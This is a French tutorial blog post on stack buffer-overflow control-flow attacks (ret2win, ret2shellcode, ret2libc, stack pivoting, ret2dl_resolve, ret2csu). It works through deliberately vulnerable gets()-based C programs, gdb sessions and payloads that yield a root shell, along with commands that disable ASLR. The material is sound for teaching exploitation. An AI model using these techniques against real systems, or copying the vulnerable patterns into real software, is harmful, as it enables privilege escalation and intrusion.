Aller au contenu principal
own2pwn
pwn/pwn-scfa.tsx

Stack overflow : tout ce que la stack peut t'offrir

ret2win, ret2shellcode, ret2libc, frame faking, off-by-one, ret2dl_resolve... Un tour complet des Stack-based Control Flow Attacks avec la logique derrière chaque technique, pas juste les noms.

Maxime Jérôme··12 min de lecture

Prérequis

Hello ! o/

On va voir les différentes attaques de contrôle de flow sur la stack. Pour vous rassurer, on s'en fout d'apprendre par coeur les noms de techniques, le but c'est pas ça. Le but c'est de comprendre les logiques derrières ces techniques, et peut-être en formaliser certaines. À un moment vous avez le mindset et on s'en fout du nom des techniques, surtout dans le milieu des CFA (Control Flow Attacks).

Alors, commençons !

ret2win

Le ret2win... Bon, ça ça arrive qu'en CTF néophyte. Le principe est simple : donner à EIP la valeur de la fonction qui fait poper un shell, après qui sait... un dev un peu trop surmené qui a oublié d'enlever sa fonction de debug ;)

Voici le programme qu'on va prendre en exemple :

c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vuln (void);
void win (void);

int main (int argc, char *argv[])
{
    vuln();
    return EXIT_SUCCESS;
}

void vuln (void)
{
    char buffer[32];
    (void) gets(buffer);
}

void win (void)
{
    setuid(0);
    system("/bin/bash");
}

Et voici son Makefile :

makefile
CC=gcc

NO_PIE=-fno-pie -no-pie
NO_SSP=-fno-stack-protector
NO_NX=-z execstack
NO_CET=-fcf-protection=none

PIE=-pie -fpie
SSP=-fstack-protector
NX=-z noexecstack
CET=-fcf-protection=full --enable-cet=yes

X86=-m32
x86_64=-m64

EXEC="prog"

all:
    ${CC} ${NO_PIE} ${NO_SSP} ${NO_CET} ${X86} -Wall -std=c89 code.c -o ${EXEC}
compilation.txt
  $ make
  gcc -fno-pie -no-pie -fno-stack-protector -fcf-protection=none -m32 \
      -Wall -std=c89 code.c -o prog
  $ file prog
  prog: ELF 32-bit LSB executable, Intel 80386, not stripped
On compile le binaire avec toutes les protections désactivées.

Et.. Maintenant on PWN (Perfectly Owned) !! Bon, du coup on va faire simple : on va simplement faire en sorte que EIP = &win. Pour ça, on va y aller comme de gros cochons : on est en local donc on va foutre le merdier dans la stack, et voir qu'est-ce qui prend EIP comme valeur.

gdb-overflow.txt
  (gdb) run <<< $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*80)")
  Program received signal SIGSEGV, Segmentation fault.
  0x41414141 in ?? ()
  (gdb) info registers eip
  eip  0x41414141  0x41414141
On envoie un pattern de 'A' pour trouver où EIP est écrasé.

On attend la fin de la fonction, puisque la dernière instruction ret va pop eip. Au final elle prend une valeur de la stack, et nous on va la contrôler.

gdb-ret.txt
  (gdb) b *vuln+XX   ; breakpoint sur le RET
  Breakpoint 1, 0x080491XX in vuln ()
  (gdb) ni
  0x41414141 in ?? ()
  => ESP[0] = 0x41414141   <- on contrôle ça
Au moment du RET, ESP pointe vers la valeur qu'on contrôle.

On cherche l'offset exact avec cyclic / pattern_create. Ici l'offset est de 44.

offset-proof.txt
  payload = b"A" * 44 + b"BITE"

  (gdb) run <<< $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*44+b'BITE')")
  Program received signal SIGSEGV
  => EIP = 0x45544942  ("BITE")   <- offset confirmé : 44
44 octets de junk, puis les 4 octets suivants atterrissent dans EIP.

Bon, notre offset est de 44. Maintenant on va juste remplacer "BITE" par l'adresse de win. Et n'oubliez pas de désactiver l'ASLR (Address Space Layout Randomization) lol, ça serait bête de bloquer à cette étape :

sh
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
ret2win-exploit.txt
  (gdb) p win
  $1 = {void ()} 0x080491b6 <win>

  payload = b"A" * 44 + p32(0x080491b6)

  $ python3 exploit.py | ./prog
  # whoami
  root

  C'est PWN !
On redirige EIP vers win() - shell obtenu.

ret2shellcode

Le principe est simple : faire en sorte qu'EIP arrive sur notre shellcode. Un shellcode c'est juste du code qui va exécuter un shell.

La question se pose : où diable va-t-on foutre ce shellcode dans le programme ? La réponse : lol, là où c'est exécutable et writable.

Aujourd'hui avec la protection NX (No-eXecute) / DEP (Data Execution Prevention) / W^X (Write XOR Execute) on peut pas mettre notre shellcode n'importe où, mais on peut s'amuser avec mprotect(.data, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC) pour bypasser. Là on va juste montrer l'exemple simple.

Voici le code vulnérable :

c
#include <stdio.h>
#include <stdlib.h>

void vuln (void);

int main (int argc, char *argv[])
{
    vuln();
    return EXIT_SUCCESS;
}

void vuln (void)
{
    char buffer[32];
    (void) gets(buffer);
}
makefile
CC=gcc

NO_PIE=-fno-pie -no-pie
NO_SSP=-fno-stack-protector
NO_NX=-z execstack
NO_CET=-fcf-protection=none
X86=-m32

EXEC="prog"

all:
    ${CC} ${NO_PIE} ${NO_SSP} ${NO_NX} ${NO_CET} ${X86} -Wall -std=c89 code.c -o ${EXEC}

On utilisera ce shellcode (attention, il est populaire :))

Au final, il faut juste jumper sur la stack, sur notre nopsled qui nous amènera gentillement à notre shellcode. Y'en a qui mettent tout dans le payload, style :

text
[junk] [eip] [nopsled] [shellcode]

Mais bon, faut une adresse de la stack, donc pas d'ASLR/PIE, ou alors faudrait un leak. Le nopsled c'est juste un bunch d'instructions NOP (0x90).

D'autres fois on jump directement dans une variable d'environnement, mais là aussi c'est le même problème :

text
export ENV=[nopsled] [shellcode]
[junk] [eip]

Le plus propre est de jumper sur .data (ou autre section writable) et de mettre .data en exécutable, et là ça pète pas mal de choses, puisqu'on s'en fout d'ASLR et de NX. Sachez-le, mais là on va pas faire ça.

On va faire l'exploit avec la variable d'environnement. Vous pouvez retrouver le programme getenv ici pour récupérer l'adresse exacte de la variable d'env :

ret2shellcode-exploit.txt
  # On exporte le shellcode dans une variable d'env
  export SHELLCODE=$(python3 -c "print('\x90'*100 + '<shellcode>')")

  # getenv nous donne l'adresse de la variable
  $ ./getenv SHELLCODE ./prog
  SHELLCODE is at 0xffffd3c0

  # Payload : 44 junk + adresse de l'env
  payload = b"A" * 44 + p32(0xffffd3c0)

  $ python3 exploit.py | ./prog
  $ whoami
  root
On place le shellcode dans une variable d'env et on pointe EIP dessus.

Voilà, c'est aussi simple que ça.

ret2main

Le ret2main est une technique qui vise à retourner sur la fonction main. On va pas faire d'exemple, vous l'avez compris : eip = main :).

Dans quel cas va-t-on utiliser cette technique ? Quand vous pouvez pas atteindre 2 features d'un coup : vous allez par exemple leak une adresse, votre programme plante s'il y a pas d'adresse de retour, donc on met main pour pouvoir pwn avec un élément en plus !

ret2reg

Le principe du ret2reg est assez cool : ça consiste à jumper non pas sur une adresse hardcodée, mais sur la valeur d'un registre : eip = eax.

Donc c'est un peu bête, mais on va chercher des instructions comme :

asm
call eax
jmp eax
jmp rsp
...

ret2plt

Le principe du ret2plt est d'appeler une fonction/procédure de la PLT (Procedure Linkage Table). C'est utile car on a pas besoin de leak : les adresses de la PLT sont fixes (sauf si protection PIC, Position-Independent Code).

text
eip = func@plt

Et voici votre stack :

Adresse (croissante vers le bas)Contenu
ESP+0junk (remplissage jusqu'à EIP)
ESP+Nsaved EIP = func@plt
ESP+N+4adresse de retour de func@plt
ESP+N+81er paramètre
ESP+N+122e paramètre
......
ESP+N+4kn-ième paramètre

ret2libc

Le ret2libc est pareil que le ret2plt, sauf que là on appelle la fonction directement dans la libc. Le but c'est d'utiliser les fonctions qu'on veut : par exemple on peut appeler system pour exécuter /bin/sh.

La stack est la même que pour le ret2plt :

Slot stackContenu
junkremplissage jusqu'au saved EIP
saved EIPsystem@libc
ret de systemXXXX (adresse de retour après system)
arg1"/bin/sh\0"

ESP lifting

L'ESP lifting est une technique pour exploiter les fonctions qui n'utilisent pas les pointeurs de stack (ESP/EBP). Elle est utilisable contre les programmes compilés avec le flag -fomit-frame-pointer.

On va utiliser l'épilogue (la fin d'une fonction) de ces fonctions, ça ressemble à ça :

asm
add esp, <integer>
ret

En vrai y'a aussi des épilogues qui font juste du pop-ret, du coup on bouge de 4 octets :

asm
pop reg
ret

Au final la technique est juste d'utiliser une de ces fonctions en tant qu'adresse de retour pour retourner dans une stack plus haute (et contrôlée) :

esp-lifting-stack.txt
  +--------------------------+
  |  junk                    |
  +--------------------------+
  |  saved EIP = épilogue    |   épilogue : add esp, k; ret
  +--------------------------+
  |  . . .                   |   } k octets
  +--------------------------+
  |  zone contrôlée          |   <- ESP atterrit ici, RET exécute notre payload
  +--------------------------+
L'épilogue fait avancer ESP jusqu'à une zone qu'on contrôle.

Frame faking / Stack pivoting

Lorsque vous voulez vous amuser sur votre stack mais que celle-ci est instable... vous n'avez pas le choix : il faut pivoter. Le principe est de faire en sorte que notre stack change d'endroit.

Le frame faking consiste à écraser la sauvegarde d'EBP pour retourner ESP sur une fausse stackframe. Ce qui est cool c'est qu'on peut tromper ce que le code va lire, et donc détourner le flow d'exécution.

frame-faking.txt
  Frame 1 (fonction vulnérable)
  +-----------------------------+
  |  buffer / junk              |
  +-----------------------------+
  |  saved EBP  <- ON ECRASE    |   pointe vers Frame 2 (fausse)
  +-----------------------------+
  |  saved EIP  <- ON ECRASE    |   pointe vers un gadget "leave; ret"
  +-----------------------------+

  leave = mov esp, ebp ; pop ebp

  Frame 2 (fausse stackframe qu'on a préparée)
  +-----------------------------+
  |  fake EBP                   |
  +-----------------------------+
  |  adresse payload / gadget   |   <- après le 2e leave;ret, EIP va ici
  +-----------------------------+
  |  ...payload ROP/shellcode...|
  +-----------------------------+

  Déroulé :
  1. leave (frame 1) : esp = fake_ebp ; pop ebp (fake EBP charge dans EBP)
  2. ret              : pop eip => gadget "leave;ret"
  3. leave (frame 2) : esp = EBP (qu'on contrôle) ; pop ebp
  4. ret              : pop eip => notre payload
On réécrit EBP en frame 1 pour contrôler ESP en frame 2 via l'instruction leave.

On peut tromper ce que le code va lire, et donc détourner le flow d'exécution. Puis c'est gagné car on fait un ret / pop eip sur une stack contrôlée.

Off-by-one

Les attaques de type off-by-one peuvent s'avérer fréquentes mais difficiles d'exploitation. C'est une attaque où on peut réécrire 1 octet de plus dans notre buffer. Dans certains cas, on peut réécrire une partie d'EBP, ce qui nous servirait à contrôler la stack.

Pourquoi si dangereux ?
Un seul octet de trop suffit à modifier le low byte d'EBP, ce qui peut faire pointer ESP vers une adresse arbitraire après un leave; ret. Couplé au frame faking ci-dessus, c'est redoutable.

ret2dl_resolve

Pour comprendre cette partie, vous devrez absolument comprendre le fonctionnement du linker dynamique ELF. Faut vraiment comprendre comment dl-runtime.c fonctionne.

Cette technique permet de tromper le linkage dynamique d'ELF et donc de pouvoir résoudre une fonction (genre printf) par celle que l'on veut. Pas besoin de leak !

Il suffit de créer des structures JMPREL, DYNSYM et STRTAB et appeler une fonction pour la première fois pour tromper _dl_fixup(link_map, reloc_arg). C'est reloc_arg qui contiendra toutes les structures nécessaires pour que l'exploit puisse fonctionner. STRTAB contiendra la chaîne system.

ret2dl-structures.txt
  .data (zone writable, on y écrit nos structures forgées)

  +--------------------------+  <- reloc_arg pointe ici (offset dans .rel.plt)
  |  JMPREL (Elf32_Rel)      |
  |   r_offset = GOT entry   |   GOT = Global Offset Table
  |   r_info  = (dynsym_idx  |
  |              << 8) | 0x7 |
  +--------------------------+
  |  DYNSYM (Elf32_Sym)      |
  |   st_name = strtab_offset|
  |   st_value = 0           |
  |   ...                    |
  +--------------------------+
  |  STRTAB                  |
  |   "system"           |   <- _dl_fixup va résoudre "system" dans libc
  +--------------------------+
Les trois structures à forger pour tromper _dl_fixup.
Alignement critique
C'est assez chiant, y'a pas mal d'histoires d'alignement. Les structures doivent respecter leurs offsets dans les sections ELF pour que _dl_fixup les accepte.

ret2csu

Globalement le ret2csu s'applique à tous les binaires ELF x64 et permet de contrôler RDX. Perso dans la vraie vie j'y vois pas trop d'intérêt : on a des gadgets de partout ; en CTF pourquoi pas. Ca permet d'exploiter la fonction __libc_csu_init. Il y a 2 gadgets dans cette fonction :

Gadget 1 : setup des registres via une série de pops

asm
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Gadget 2 : utilise ces registres pour appeler du code et charger RDX

asm
mov rdx, r15    ; <-- RDX = r15, qu'on a contrôlé via gadget 1
mov rsi, r14
mov edi, r13d
call QWORD PTR [r12 + rbx * 8]
add rbx, 0x1
cmp rbp, rbx
jne <__libc_csu_init+0x40>
add rsp, 0x8

Donc on a juste à contrôler RDX avec l'aide de R15, c'est tout.

Résumé des techniques
Le mindset commun à toutes ces techniques : trouver un moyen de contrôler EIP/RIP, puis l'orienter vers quelque chose d'utile. Le nom de la technique, c'est juste le "vers quoi" qu'on oriente le flow.